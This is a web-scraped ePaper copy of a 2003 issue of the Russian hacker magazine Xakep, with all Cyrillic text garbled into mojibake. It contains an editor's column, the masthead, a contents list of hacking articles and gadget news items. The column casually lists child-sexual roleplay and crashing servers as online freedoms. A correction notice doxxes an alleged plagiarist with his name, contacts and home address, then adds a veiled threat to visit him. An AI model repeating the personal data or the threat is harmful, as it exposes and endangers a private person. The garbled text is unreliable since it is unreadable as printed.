¦þ¹ ¼³¾Šł
¦þ¹ ¼³¾Šł
¦þ¹ ¼³¾Šł
You also want an ePaper? Increase the reach of your titles
YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.
Æ Ó Ð Í À Ë Î Ò Ê Î Ì Ï Ü Þ Ò Å Ð Í Û Õ Õ Ó Ë È Ã À Í Î Â<br />
ver 05.03 (53)<br />
W W W . X À Ê Å Ð . R U<br />
Äåëî–<br />
òðóáà<br />
Ïàðà ñëîâ<br />
î âçëîìå<br />
ìîáèëüíèêîâ<br />
Ïàðàëëåëüíûé ìèð<br />
Âçëîì ñåòåé õ25<br />
Ïàðîëü<br />
«Ðûáà-Shit»<br />
Ðåàëüíûå<br />
èñòîðèè<br />
íàøóìåâøèõ<br />
âçëîìîâ<br />
VoIP<br />
ÈÇÍÓÒÐÈ<br />
Õàêåðû<br />
è ÔÁÐ<br />
Íà÷àëî<br />
ïðîòèâîñòîÿíèÿ<br />
New!<br />
Îáçîð ñâåæèõ<br />
ýêñïëîèòîâ<br />
MUST READ<br />
äëÿ<br />
àäìèíîâ<br />
ÎÐÓÆÈÅ ÁÓÄÓÙÅÃÎ<br />
Spam Message System
×òî òû îòâå÷àåøü, êîãäà òåáå ãîâîðÿò "Õðèñòîñ âîñêðåñ"<br />
Ëè÷íî ÿ òåðÿþñü è áîðìî÷ó ÷òî-òî òèïà "Âîçìîæíî… íå<br />
óâåðåí…". Ñðàçó âñïîìèíàåòñÿ àíåêäîò ïðî Ïàñõó 2030<br />
ãîäà, ãäå äâà ïîïà ïðèâåòñòâóþò äðóã äðóãà: "Àëëàõ<br />
Àêáàð!" - "Âîèñòèíó Àêáàð!". Íó ïî÷åìó, ïî÷åìó ó íàñ òàê<br />
ëþáÿò âñÿêèå âíåøíèå ïðîÿâëåíèÿ ðåëèãèîçíîñòè, ïðè÷åì íà òå æå<br />
äåñÿòü çàïîâåäåé, íàïðèìåð, âåñü íàðîä êëàäåò ñ áîëüøèì<br />
ïðèáîðîì! Òû ìíîãî çíàåøü ëþäåé, êîòîðûå æèâóò ïî õðèñòèàíñêèì<br />
çàâåòàì ß - íè îäíîãî. Çàòî åñëè ãäå-íèáóäü â îáùåñòâåííîì ìåñòå<br />
ëÿïíóòü: "ß àòåèñò, â Áîãà íå âåðþ", íà òåáÿ âñå ïîñìîòðÿò êàê íà<br />
áîëüíîãî àòèïè÷íîé ïíåâìîíèåé. Áëèí, åñëè ÷óâàê ñìîòðèò íî÷íûå<br />
òåëåñåðèàëû ïîä íàçâàíèåì "Êðåñòíûé õîä", ïðàçäíóåò Ðîæäåñòâî è<br />
Ïàñõó, ïûòàåòñÿ (ïóñòü è áåçóñïåøíî) ñîáëþäàòü ïîñò - îí õðèñòèàíèí.<br />
 öåðêîâü ïðè ýòîì õîäèòü íå îáÿçàòåëüíî (ýòîãî æå íèêòî íå îöåíèò),<br />
êðåñò íîñèòü òîæå (íó ðàçâå ÷òî ó íåãî ïîëóêèëîãðàììîâàÿ "ãîëäà"), î<br />
"ïðàâåäíîì" îáðàçå æèçíè ðå÷ü âîîáùå íå èäåò. Âîò ó íàñ âñå òàê -<br />
ñïëîøíîå ëèöåìåðèå. È ýòè ëþäè ïîòîì áóäóò ãîâîðèòü, ÷òî ìû,<br />
èíåòðíåò÷èêè, æèâåì â ïðèäóìàííîì ìèðå. Äà, äåéñòâèòåëüíî, ýòî<br />
ñâîáîäíûé ìèð, îòêðûòûé äëÿ ëþáîé ôîðìû ñàìîðåàëèçàöèè. Õî÷åøü,<br />
çàíèìàéñÿ ñåêñîì â îáëè÷üå 11-ëåòíåé äåâî÷êè-ìàçîõèñòêè, õî÷åøü,<br />
ãðîõíè ñåðâàê íåíàâèñòíîãî ïðîâàéäåðà. Òâîðè, âîðóé, îòêðîé ñâîé<br />
áèçíåñ - êîðî÷å, âîçìîæíîñòè íå îãðàíè÷åíû. Íî, ïî êðàéíåé ìåðå, ìû<br />
íå îáìàíûâàåì ñàìè ñåáÿ. Íå çîìáèðóåì ñåáÿ ïðîïàãàíäîé, êàê ýòî<br />
äåëàþò ìíîãèå "òèïà âåðóþùèå".<br />
Íàçâàëñÿ õðèñòèàíèíîì - æèâè, êàê çàïîâåäîâàë òâîé Áîã. Èëè íå<br />
äîñòàâàé äðóãèõ ñâîèìè õðèñòîñâîñêðåñàìè. Èíà÷å â îòâåò áóäåøü<br />
ñëûøàòü "Âîèñòèíó Àêáàð!"<br />
Àëåêñàíäð '2poisonS' Ñèäîðîâñêèé<br />
ãëàâðåä Õ<br />
INTRO<br />
+ÁÐÀÒÑÊÀß ÌÎÃÈËÀ+<br />
/ÐÅÄÀÊÖÈß<br />
>Ãëàâíûé ðåäàêòîð<br />
Àëåêñàíäð «2poisonS»<br />
Ñèäîðîâñêèé<br />
(2poisonS@real.xakep.ru)<br />
>Ðåäàêòîðû ðóáðèê<br />
ÂÇËÎÌ<br />
Èâàí «CuTTer» Ïåòðîâ<br />
(cutter@real.xakep.ru)<br />
PC_ZONE<br />
Ìèõàèë «M.J.Ash» Æèãóëèí<br />
(m.j.ash@real.xakep.ru)<br />
UNIXOID<br />
Àðòåì «Cordex» Íàãîðñêèé<br />
(cordex@real.xakep.ru)<br />
>Ðåäàêòîð CD<br />
Íèêîëàé «AvaLANche» ×åðåïàíîâ<br />
(avalanche@real.xakep.ru)<br />
>Ëèòåðàòóðíûé ðåäàêòîð<br />
Ìàðèÿ Àëüäóáàåâà<br />
(litred@real.xakep.ru)<br />
/ART<br />
>Àðò-äèðåêòîð<br />
Êèðèëë Ïåòðîâ «KROt»<br />
(kerel@real.xakep.ru)<br />
Äèçàéí, âåðñòêà, ôîòîñüåìêà,<br />
ïðåäïå÷àòíàÿ ïîäãîòîâêà:<br />
Äèçàéí-ñòóäèÿ «100%ÊÏÄ »<br />
>Äèçàéíåðû<br />
Àëèê Âàéíåð «Jmurik»<br />
(alik@real.xakep.ru)<br />
/INET<br />
>WebBoss<br />
Ñêâîðöîâà Àëåíà<br />
(Alyona@real.xakep.ru)<br />
>Ðåäàêòîð ñàéòà<br />
Ëåîíèä Áîãîëþáîâ<br />
(xa@real.xakep.ru)<br />
/PR<br />
>PR ìåíåäæåð<br />
Ãóáàðü ßíà<br />
(yana@gameland.ru)<br />
/ÐÅÊËÀÌÀ<br />
>Ðóêîâîäèòåëü îòäåëà<br />
Èãîðü Ïèñêóíîâ<br />
(igor@gameland.ru)<br />
>Ìåíåäæåðû îòäåëà<br />
Áàñîâà Îëüãà<br />
(olga@gameland.ru)<br />
Êðûìîâà Âèêòîðèÿ<br />
(vika@gameland.ru)<br />
Åìåëüÿíöåâà Îëüãà<br />
(olgaeml@gameland.ru)<br />
Ðóáèí Áîðèñ<br />
(rubin@gameland.ru)<br />
òåë.: (095) 935.70.34<br />
ôàêñ: (095) 924.96.94<br />
/PUBLISHING<br />
>Èçäàòåëü<br />
Ñåðãåé Ïîêðîâñêèé<br />
(pokrovsky@gameland.ru)<br />
>Ó÷ðåäèòåëü<br />
ÎÎÎ «Ãåéì Ëýíä»<br />
>Äèðåêòîð<br />
Äìèòðèé Àãàðóíîâ<br />
(dmitri@gameland.ru)<br />
>Ôèíàíñîâûé äèðåêòîð<br />
Áîðèñ Ñêâîðöîâ<br />
(boris@gameland.ru)<br />
/ÎÏÒÎÂÀß ÏÐÎÄÀÆÀ<br />
>Ðóêîâîäèòåëü îòäåëà<br />
Âëàäèìèð Ñìèðíîâ<br />
(vladimir@gameland.ru)<br />
>Ìåíåäæåðû îòäåëà<br />
Àíäðåé Ñòåïàíîâ<br />
(andrey@gameland.ru)<br />
Ñàìâåë Àíòàøÿí<br />
(samvel@gameland.ru)<br />
òåë.: (095) 935.70.34<br />
ôàêñ: (095) 924.96.94<br />
>Òåõíè÷åñêèé äèðåêòîð<br />
Ñåðãåé Ëÿíãå<br />
(serge@gameland.ru)<br />
/ÄËß ÏÈÑÅÌ<br />
101000, Ìîñêâà,<br />
Ãëàâïî÷òàìò, à/ÿ 652, Õàêåð<br />
magazine@real.xakep.ru<br />
http://www.xakep.ru<br />
Çàðåãèñòðèðîâàíî<br />
â Ìèíèñòåðñòâå Ðîññèéñêîé<br />
Ôåäåðàöèè<br />
ïî äåëàì ïå÷àòè,<br />
òåëåðàäèîâåùàíèþ<br />
è ñðåäñòâàì ìàññîâûõ<br />
êîììóíèêàöèé<br />
ÏÈ ¹ 77-11802<br />
îò 14 ôåâðàëÿ 2002 ã.<br />
Îòïå÷àòàíî â òèïîãðàôèè<br />
«ScanWeb», Ôèíëÿíäèÿ<br />
Òèðàæ 75 000 ýêçåìïëÿðîâ.<br />
Öåíà äîãîâîðíàÿ.<br />
Ìíåíèå ðåäàêöèè<br />
íå îáÿçàòåëüíî ñîâïàäàåò<br />
ñ ìíåíèåì àâòîðîâ.<br />
Ðåäàêöèÿ óâåäîìëÿåò:<br />
âñå ìàòåðèàëû â íîìåðå<br />
ïðåäîñòàâëÿþòñÿ êàê<br />
èíôîðìàöèÿ ê<br />
ðàçìûøëåíèþ. Ëèöà,<br />
èñïîëüçóþùèå äàííóþ<br />
èíôîðìàöèþ<br />
â ïðîòèâîçàêîííûõ öåëÿõ,<br />
ìîãóò áûòü ïðèâëå÷åíû<br />
ê îòâåòñòâåííîñòè.<br />
Ðåäàêöèÿ â ýòèõ ñëó÷àÿõ<br />
îòâåòñòâåííîñòè íå íåñåò.<br />
Ðåäàêöèÿ íå íåñåò<br />
îòâåòñòâåííîñòè<br />
çà ñîäåðæàíèå ðåêëàìíûõ<br />
îáúÿâëåíèé â íîìåðå.<br />
Çà ïåðåïå÷àòêó íàøèõ<br />
ìàòåðèàëîâ áåç ñïðîñà -<br />
ïðåñëåäóåì.<br />
Íà îáëîæêå èñïîëüçîâàí: Pelican Pulse Cannon Light Gun äëÿ PlayStation 2
04/HiTech News<br />
08/HardNews<br />
44/×óìà XXI âåêà<br />
48/Ñìåðòåëüíàÿ ëîãèêà<br />
Èìïëàíò<br />
12/362,5 êóáè÷åñêèõ ñàíòèìåòðà ïàìÿòè<br />
20/Êîìïüþòåð áåç ãèìîðà<br />
22/Upgrade<br />
24/Îêíî â öèôðó<br />
28/Íàêîïèòåëè ôàéëîâ<br />
32/Spam Message System<br />
36/Øïèîíñêèå èãðû Ïåíãî<br />
38/Õðàíèòåëè ïàðîëåé<br />
42/Õàêåðû è ÔÁÐ<br />
Íüþñû<br />
Ôåððóì<br />
Inside<br />
52/X-News<br />
54/Hack-FAQ<br />
56/Ïàðîëü "Ðûáà-Shit"<br />
60/Äåëî - òðóáà<br />
66/Çàùèòà Java-àïïëåòîâ<br />
70/Ïðàëëåëüíûé ìèð: âçëîì ñåòåé x25<br />
74/VoIP èçíóòðè<br />
78/Ðîóòåðû: áîëüøèå è î÷åíü áîëüøèå<br />
81/Îáçîð ýêñïëîèòîâ<br />
PC_Zone<br />
Âçëîì<br />
82/Çàïàäëî â Linux<br />
84/Delphi äëÿ ïàðàíîèêà: ñâîé PGP çà 5 ìèíóò<br />
86/Âõîäèò, âûõîäèò...: Ðàáîòàåì ñ COM ïîðòîì<br />
88/Bannerbank çà 24 ÷àñà<br />
Þíèêñîèä<br />
 ïðåäûäóùåì íîìåðå â ñòàòüå<br />
«Ettercap: çëîáîäðîì â òâîåé ëîêàëêå»<br />
áûë íåâåðíî óêàçàí àâòîð. Ìû<br />
ïðèíîñèì ñâîè èçâèíåíèÿ íàñòîÿùåìó<br />
àâòîðó ñòàòüè Àíäðåþ Ñîêîëîâó<br />
(daedalus@inbox.ru). Âñÿ÷åñêèé<br />
ðåñïåêò è greetz! Ìàòåðèàë ó íåãî<br />
ïîäðåçàë íåêòî CoDeR. Âîò ðåàëüíûå<br />
äàííûå íà ýòîãî îòìîðîçêà:<br />
Àëîòèí Ìèõàèë Àðêàäüåâè÷<br />
ìûëüíèê: coder@zzae.biz, paroli@bk.ru<br />
icq: 416116, 500069<br />
àäðåñ: 628240, Òþìåíñêàÿ îáëàñòü,<br />
ãîðîä Ñîâåòñêèé, óëèöà Ãàñòåëëî 41,<br />
êâ 25.<br />
Æàëêî, ìû äàëåêî îò Òþìåíñêîé<br />
îáëàñòè, à òî áû íàâåñòèëè ãîðîä<br />
Ñîâåòñêèé, óëèöó Ãàñòåëëî… Âñåé<br />
ðåäàêöèåé…<br />
Tips&Tricks<br />
Âåäóùèé ðóáðèêè Tips&Tricks Èâàí<br />
Ñêëÿðîâ (Sklyarov@real.xakep.ru).<br />
Ïðèñûëàé ìíå ñâîè òðþêè è ñîâåòû è,<br />
âîçìîæíî, òû óâèäèøü èõ íà ñòðàíèöàõ<br />
][. Â êîíöå ãîäà ñàìûé àêòèâíûé<br />
ó÷àñòíèê ïîëó÷èò 100$. Êó÷ó èíòåðåñíûõ<br />
ñîâåòîâ, íå âîøåäøèõ â æóðíàë, ñìîòðè<br />
íà íàøåì ñàéòå http://www.xakep.ru.<br />
Ðåäàêöèÿ æóðíàëà è âåäóùèé ðóáðèêè íå<br />
íåñóò îòâåòñòâåííîñòè çà ñîâåòû,<br />
êîòîðûå ÷èòàòåëè äàþò äðóã äðóãó ;).<br />
90/Çàë ñóäà<br />
94/ØàðîWAREZ<br />
98/WWW<br />
100/FAQ<br />
104/¸-mail<br />
106/Õóìîð<br />
110/X-Puzzle<br />
112/Áîðäà<br />
Êîäèíã<br />
Þíèòû
HiTech_News<br />
Àëåêñ Öåëûõ (News@real.xakep.ru)<br />
ÃÎÂÎÐßÙÀß ÑÒÈÐÀËÊÀ<br />
"×ÅËÞÑÒÈ"<br />
Êîìïàíèÿ Olympus ïðåäñòàâèëà ñòåðåîî÷êè äëÿ òåõ, êòî äðîæèò ïåðåä äàíòèñòîì.<br />
Dental-Eye-Trek ïîçâîëÿþò ïåðåíåñòèñü èç íåíàâèñòíîãî êðåñëà ñòîìàòîëîãà â êèíîòåàòð ñî<br />
ñòåðåîçâóêîì. Æóòêèå èíñòðóìåíòû è äóøåðàçäèðàþùèå çâóêè áîðìàøèíû îñòàþòñÿ "çà<br />
êàäðîì". Òàêîå îùóùåíèå, ÷òî ñìîòðèøü áëîêáàñòåð íà ïîëóòîðàìåòðîâîì êèíîýêðàíå. Ïðè<br />
ýòîì íè÷òî íå îãðàíè÷èâàåò ñâîáîäû äâèæåíèé ïàöèåíòà è âðà÷à. Âåñ î÷êîâ - âñåãî 95<br />
ãðàììîâ. Äàíòèñòû ðàññêàçûâàþò, ÷òî ïàöèåíòû íàñòîëüêî óâëåêàþòñÿ ôèëüìîì, ÷òî íàïðî÷ü<br />
çàáûâàþò, ãäå îíè íàõîäÿòñÿ, è ïîëíîñòüþ ðàññëàáëÿþòñÿ. Ãàäæåò ïîäêëþ÷àåòñÿ ê<br />
êîìïàêòíîé ìîäåëè DVD-ïëååðà îò Panasonic. Â ñòèëüíîì àëþìèíèåâîì ôóòëÿðå òàêæå<br />
ìîæíî íàéòè çàòû÷êè äëÿ óøåé (áåðóøè) è íåñêîëüêî ôèëüìîâ, ðåêîìåíäîâàííûõ ê ïîêàçó.<br />
Èíæåíåðû Speech Experts (www.speech-experts.com) íàó÷èëè ñòèðàëüíóþ ìàøèíó ðàçãîâàðèâàòü è ïîíèìàòü ãîëîñîâûå êîìàíäû. Ìîäèôèêàöèè ïîäâåðãëàñü ïîñëåäíÿÿ<br />
ìîäåëü ñòèðàëêè îò Siemens. Ïåðâûì äåëîì ìàøèíå äàëè èìÿ - Herbine. Ïîñëå ýòîãî åå íàäåëèëè ñëîâàðíûì çàïàñîì èç íåñêîëüêèõ ñîòåí íåìåöêèõ ñëîâ, âñòàâëÿåìûõ<br />
ê ìåñòó è íå ê ìåñòó. Íàïðèìåð, åñëè ÷åëîâåê âïåðâûå èìååò äåëî ñ ìàøèííîé ñòèðêîé, Herbine ïðèÿòíûì æåíñêèì ãîëîñîì îáúÿñíÿåò, êàê ïðàâèëüíî çàãðóçèòü<br />
áåëüå. Ñòèðàëêà ïîäñêàçûâàåò, êàêèå âåùè íå ñëåäóåò ñòèðàòü âìåñòå, è ðåêîìåíäóåò ñïîñîáû âûâåäåíèÿ íàèáîëåå ñëîæíûõ ïÿòåí, ê ïðèìåðó, îò æâà÷êè. Áîëåå òîãî,<br />
ïîëüçîâàòåëü ìîæåò ïîñîâåòîâàòüñÿ ñ ìàøèíîé. Herbine âíèìàòåëüíî âûñëóøàåò, êàêóþ îäåæäó íóæíî âûñòèðàòü, è ïîäñêàæåò îïòèìàëüíóþ ïðîãðàììó ñòèðêè. Áëàãîäàðÿ<br />
èíòåëëåêòóàëüíîé ñèñòåìå ðàñïîçíàâàíèÿ ðå÷è, ìàøèíà ïîíèìàåò ñëîæíûå ñîñòàâíûå êîìàíäû, íàïðèìåð: "Ïðåäâàðèòåëüíàÿ ñòèðêà, çàòåì ñòèðêà ïðè òåìïåðàòóðå<br />
95 ãðàäóñîâ, íà÷àòü ÷åðåç ïîë÷àñà, ïðîèçâåñòè îòæèì". Êðîìå òîãî, Herbine ëþáèò ôëèðòîâàòü è îáëàäàåò íåçàóðÿäíûì ÷óâñòâîì þìîðà. Åñëè ñêàçàòü åé, ÷òî íà îäåæäå<br />
ïÿòíî îò êðàñíîãî âèíà, îíà ïîñîâåòóåò â ñëåäóþùèé ðàç ïèòü ïèâî - ïÿòíà îò íåãî ëåã÷å âûâîäèòü.  áëèæàéøåå âðåìÿ ñëîâàðíûé çàïàñ Herbine âûðàñòåò äî 4 òûñÿ÷<br />
ñëîâ íà ðàçíûõ ÿçûêàõ. Íîâóþ ìîäåëü ìîæíî áóäåò ïîäêëþ÷àòü ê èíòåðíåòó äëÿ àïãðåéäîâ.  îòêðûòîé ïðîäàæå Herbine ïîÿâèòñÿ â 2004 ãîäó.<br />
×ÀÑÛ-ÒÐÀÍÑÔÎÐÌÅÐ<br />
Seiko è NTT DoCoMo ïðåäñòàâèëè íàðó÷íûå ÷àñû-òðàíñôîðìåð ñî âñòðîåííîé ìîáèëîé. ×òîáû<br />
âîñïîëüçîâàòüñÿ ôóíêöèåé òåëåôîíà, "íàðó÷íèêè" íåîáõîäèìî ðàçëîæèòü. Ïîëó÷àåòñÿ ïîäîáèå<br />
òðóáêè: íà îäíîì êîíöå áðàñëåòà íàõîäèòñÿ ìèêðîôîí, íà äðóãîì - ìèíèàòþðíûé äèíàìèê. Âñå<br />
êíîïêè, â òîì ÷èñëå êëàâèøà íàâèãàöèè, âûíåñåíû íà áðàñëåò. Wristomoto ðàáîòàåò â ñòàíäàðòå<br />
PHS, êîòîðûé ðàñïðîñòðàíåí èñêëþ÷èòåëüíî â ßïîíèè è Þãî-âîñòî÷íîé Àçèè. Ñåðâèñ i-mode ïîçâîëÿåò<br />
ïîëó÷àòü è îòïðàâëÿòü ýëåêòðîííóþ ïî÷òó íà ñêîðîñòè 64 Êáèò/ñ. Ïîääåðæèâàåòñÿ ñèíõðîíèçàöèÿ<br />
ñ Microsoft Outlook. Wristomoto çàêëþ÷åíû â ñòèëüíûé âîäîíåïðîíèöàåìûé êîðïóñ. Çàðÿäà àêêóìóëÿòîðà<br />
õâàòàåò íà 2 ÷àñà íåïðåðûâíîãî ðàçãîâîðà. Ãàáàðèòû óñòðîéñòâà â ðàçëîæåííîì âèäå -<br />
171,5x40,4x18,5 ìì. Âåñ ñ áàòàðååé - 113 ãðàììîâ. Ðîçíè÷íàÿ öåíà ñîñòàâëÿåò 420 äîëëàðîâ.<br />
ÒÐÓÏÏÀ ÐÎÁÎÒÎÂ<br />
ßïîíñêàÿ êîðïîðàöèÿ Seiko Epson ïðåäñòàâèëà ìèíèàòþðíîãî ðîáîòà Monsieur II-P. ×åðòàìè<br />
ëèöà ðîáîò îòäàëåííî íàïîìèíàåò Ïèêà÷ó. Æèçíåðàäîñòíîå ñîçäàíèå óìåùàåòñÿ íà ÷åëîâå÷åñêîé<br />
ëàäîíè è âåñèò âñåãî 12,5 ãðàììîâ. Òðåòü ìàññû ïðèõîäèòñÿ íà êðîøå÷íûå öèíêîâûå<br />
áàòàðåè, îáåñïå÷èâàþùèå àêòèâíîñòü ðîáîòà â òå÷åíèå ïÿòè ÷àñîâ. Monsieur II-P ïîñòîÿííî<br />
íàõîäèòñÿ â äâèæåíèè. Áëàãîäàðÿ óëüòðàçâóêîâîìó ìîòîð÷èêó 0,4 ìì â äèàìåòðå -<br />
ñîáñòâåííàÿ ðàçðàáîòêà êîìïàíèè - îí ñïîñîáåí ðàçâèâàòü ñêîðîñòü äî 15 ñì/ñ. À âñòðîåííûé<br />
ìîäóëü Bluetooth ïîçâîëÿåò íåñêîëüêèì ðîáîòàì âçàèìîäåéñòâîâàòü äðóã ñ äðóãîì. Âî<br />
âðåìÿ èìïðîâèçèðîâàííîãî òåàòðàëüíîãî øîó íà âûñòàâêå Robodex 2003 òðóïïà Monsier II-P<br />
ñîâåðøàëà ñèíõðîííûå òàíöåâàëüíûå äâèæåíèÿ, ÷åì ïîêîðèëà ñåðäöà çðèòåëåé.<br />
ÐÎÁÎÒ-ÑÌÎÒÐÈÒÅËÜ<br />
Êîìïàíèÿ Fujitsu ïðåäñòàâèëà ðîáîòà, êîòîðûé óìååò ïîëüçîâàòüñÿ áûòîâîé òåõíèêîé.<br />
Maron-1 - ýòî ãëàçàñòûé "êàññîâûé àïïàðàò" â ñêàôàíäðå. Ðîñòîì 36 ñì ïðè âåñå 5,5 êã<br />
ðîáîò åäâà äîòÿãèâàåò ÷åëîâåêó äî êîëåí. Îäíàêî ýòî íå ìåøàåò åìó âåëèêîëåïíî<br />
÷óâñòâîâàòü ñåáÿ â ÷åòûðåõ ñòåíàõ. Ðîáîò ïåðåìåùàåòñÿ ïî äîìó íà êîëåñàõ, ïðåîäîëåâàÿ<br />
ïîðîãè è ìåëêèå íåðîâíîñòè ïîëà. "Ãëàçàìè" ñëóæàò ìèíèàòþðíûå âèäåîêàìåðû. Êîìàíäû<br />
õîçÿèíà ðîáîò ïðèíèìàåò íà âñòðîåííûé ìîáèëüíûé òåëåôîí. Èíôðàêðàñíûé ïåðåäàò÷èê<br />
âûïîëíÿåò ôóíêöèè ïóëüòà äèñòàíöèîííîãî óïðàâëåíèÿ. Maron-1 ñ ëåãêîñòüþ<br />
îòûùåò âèäåîìàãíèòîôîí â ãîñòèíîé è ïåðåìîòàåò ïëåíêó íà íà÷àëî. Åñëè ïîòðåáóåòñÿ,<br />
âêëþ÷èò ýëåêòðîîáîãðåâàòåëü è îòðåãóëèðóåò êîíäèöèîíåð. Äàò÷èêè ðàññòîÿíèÿ è äâèæåíèÿ<br />
ïîçâîëÿþò åìó âåñòè ïðèñòàëüíîå íàáëþäåíèå çà äîìîì. Çàñòèãíóâ íåïðîøåíîãî<br />
ãîñòÿ, ðîáîò ñâÿæåòñÿ ïî òåëåôîíó ñ õîçÿèíîì è ïîäàñò ïðåäóïðåäèòåëüíûé çâóêîâîé<br />
ñèãíàë. Çàðÿäà àêêóìóëÿòîðîâ õâàòàåò íà 12 ÷àñîâ ðàáîòû. Maron-1 ôóíêöèîíèðóåò ïîä<br />
Windows CE. Ðîáîò ïðîñò â íàñòðîéêå è ëåãêî îáó÷àåòñÿ íîâûì êîìàíäàì.<br />
4 Íüþñû<br />
1<br />
Ôåððóì 2 Inside 3 PC_Zone 4<br />
Âçëîì
ÌÓÇÛÊÀËÜÍÛÉ ÂÈÁÐÀÒÎÐ<br />
AOC Corporation (www.audio-oh.com) ïðåäñòàâèëà ïåðâûé â ìèðå âèáðàòîð, ðàáîòàþùèé ïîä<br />
ìóçûêó. Íå â ïðèìåð îäíîîáðàçíûì äâèæåíèÿì òðàäèöèîííûõ âèáðàòîðîâ, Audio-Oh "÷óâñòâóåò"<br />
ðèòì ìåëîäèè è â òàêò åìó ñòèìóëèðóåò èíòèìíûå ìûøöû òåëà. Äåâàéñ ðåàãèðóåò êàê íà ôîíîâóþ<br />
ìóçûêó, òàê è íà ïðÿìîé àóäèîñèãíàë îò êîìïüþòåðà, CD- è mp3-ïëååðà, äîìàøíåé àóäèî- è<br />
âèäåîñèñòåìû. Âîçìîæíà íàñòðîéêà íà ãîëîñ ñîáåñåäíèêà. Ñ âèäó óñòðîéñòâî íè÷åì íå îòëè÷àåòñÿ<br />
îò ïåéäæåðà, ÷òî ïîçâîëÿåò íåçàìåòíî ïîëüçîâàòüñÿ èì íà äèñêîòåêå è â Áîëüøîì çàëå<br />
Êîíñåðâàòîðèè. Óñòðîéñòâî ïðîäàåòñÿ â èíòåðíåòå ïî öåíå 70 äîëëàðîâ.<br />
ÒÎËÜÊÎ ÁÅÇ ÐÓÊ<br />
Íà êîìïüþòåðíîé âûñòàâêå â ÿïîíñêîì Ñàïïîðî äåìîíñòðèðîâàëè ðàáî÷èé ïðîòîòèï "ìûøè",<br />
êîòîðóþ ñîâåðøåííî íå íóæíî áðàòü â ðóêè. Äåâàéñ ïðåäñòàâëÿåò ñîáîé íåáîëüøîé ìèêðîôîí<br />
íà ïîäñòàâêå. Ðåãóëèðóåìûé ïî âûñîòå, îí óñòàíàâëèâàåòñÿ ïåðåä ìîíèòîðîì íà óðîâíå ðòà<br />
ïîëüçîâàòåëÿ. Äëÿ ïåðåìåùåíèÿ êóðñîðà íóæíî ëåãîíüêî äóòü â òó èëè èíóþ ñòîðîíó. Íàïðàâëåíèå<br />
âûäûõàåìîãî âîçäóõà óëàâëèâàþò ÷åòûðå ñïåöèàëüíûå ñåíñîðíûå ìåìáðàíû. Êîìàíäû âûïîëíÿþòñÿ<br />
ïîùåëêèâàíèåì ÿçûêà. Íîâèíêà ïðåäíàçíà÷åíà â ïåðâóþ î÷åðåäü äëÿ èíâàëèäîâ.<br />
ÊÐÓÒÈ ÏÅÄÀËÈ<br />
Ãîëëàíäñêèå ñòóäåíòû, ÷ëåíû îðãàíèçàöèè W.S.V. Simon Stevin,<br />
ïîñòðîèëè àâòîáóñ ñ ïåäàëüíûì ïðèâîäîì. Íåîáû÷íîå òðàíñïîðòíîå<br />
ñðåäñòâî âìåùàåò 32 ïàññàæèðà, âîäèòåëÿ è øòóðìàíà. Íà ìåñòå<br />
êðåñåë ðàñïîëîæåíû âåëîñèïåäû, äðóæíîå âðàùåíèå ïåäàëåé êîòîðûõ<br />
ïðèâîäèò âåëîáàñ â äâèæåíèå. Êîíñòðóêöèÿ íå èìååò êðûøè è<br />
ðàçìåùàåòñÿ íà ãðóçîâîì øàññè. Òðàíñïîðòíîå ñðåäñòâî îáîðóäîâàíî<br />
12-ñêîðîñòíîé ñèñòåìîé ïåðåêëþ÷åíèÿ ïåðåäà÷. Äëèíà âåëîñèïåäíîé<br />
öåïè - áîëåå 80 ìåòðîâ. Ïåðâóþ âûëàçêó áûëî ðåøåíî<br />
ïðåäïðèíÿòü íà ïèâîâàðåííûé çàâîä. Ïîä óëþëþêàíüå ñòóäåí÷åñêîé<br />
áðàòèè âåëîáàñ ðàçâèë ñêîðîñòü 20 êì/÷.<br />
ÓÄÀËÅÍÍÀß ÊÎÐÌÅÆÊÀ<br />
ßïîíñêàÿ êîìïàíèÿ AlphaOmega Soft ïðåäñòàâèëà óäàëåííóþ<br />
êîðìóøêó äëÿ äîìàøíèõ ïèòîìöåâ. iSeePet (www.iseepet.com)<br />
íàïðÿìóþ ïîäêëþ÷àåòñÿ ê èíòåðíåòó, ÷òî îáåñïå÷èâàåò äîñòóï<br />
èçâíå ÷åðåç ñòàíäàðòíûé áðàóçåð èëè ñîòîâûé òåëåôîí. Ïîñëå<br />
îáÿçàòåëüíîé àâòîðèçàöèè õîçÿèíà âñòðîåííàÿ öâåòíàÿ êàìåðà<br />
íà÷èíàåò ïåðåäàâàòü êàðòèíêó ñ ìåñòà ñîáûòèé. Êîãäà íàæàòà<br />
ïåðâàÿ êíîïêà, äåâàéñ òðóáèò "ãèìí êîðìåæêå". Ñðàáàòûâàåò æèâîòíûé<br />
ðåôëåêñ, è âîò ãîëîäíàÿ ïñèíà óæå ïðèòàíöîâûâàåò ïåðåä<br />
îáúåêòèâîì. Äâå äðóãèå êíîïêè âûïëåâûâàþò â ìèñêó ïîðöèþ<br />
ñóõîãî êîðìà èç êîíòåéíåðà íà âûáîð. Äëÿ êîðìåæêè ìîãóò<br />
áûòü èñïîëüçîâàíû "ïîäóøå÷êè" îò 5 äî 7 ìì â äèàìåòðå. Åìêîñòü<br />
êàæäîãî êîíòåéíåðà - 600 ãðàììîâ. Ñáîêó ðàñïîëàãàåòñÿ<br />
åìêîñòü ñ ïèòüåâîé âîäîé. Äåâàéñ âûïîëíåí â ñòèëüíîì êîðïóñå<br />
öâåòà ìåòàëëèê è ðàáîòàåò ïîä Ëèíóêñîì. iSeePet äîñòóïåí äëÿ<br />
ïðåäâàðèòåëüíîãî çàêàçà ïî çàïðåäåëüíîé öåíå 950 äîëëàðîâ.<br />
ÈÍÒÅËËÅÊÒÓÀËÜÍÛÉ ÄÎÌ ÎÒ LG...<br />
Êîìïàíèÿ LG Electronics ïðåäñòàâèëà íàáîð êîìïîíåíòîâ ñèñòåìû "óìíîãî äîìà". Ïîêà â íàáîð âõîäÿò õîëîäèëüíèê, ñòèðàëüíàÿ ìàøèíà, êîíäèöèîíåð è<br />
ìèêðîâîëíîâàÿ ïå÷ü. Åñòåñòâåííî, âñå îíè ïîäêëþ÷åíû ê èíòåðíåòó è ìîãóò óïðàâëÿòüñÿ äèñòàíöèîííî. Õîëîäèëüíèê ñêà÷àåò äëÿ òåáÿ ñ óòðà ñâåæóþ ïî÷òó è<br />
ïîêàæåò íîâîñòè ïî òåëåêó (îí òàì òîæå åñòü). Íàïîìíèò, ÷òî ìîëîêî ñêîðî ïðèäåòñÿ âûêèíóòü, à êîëáàñà íå èñïîðòèòñÿ åùå íåäåëþ. Ìèêðîâîëíîâêà<br />
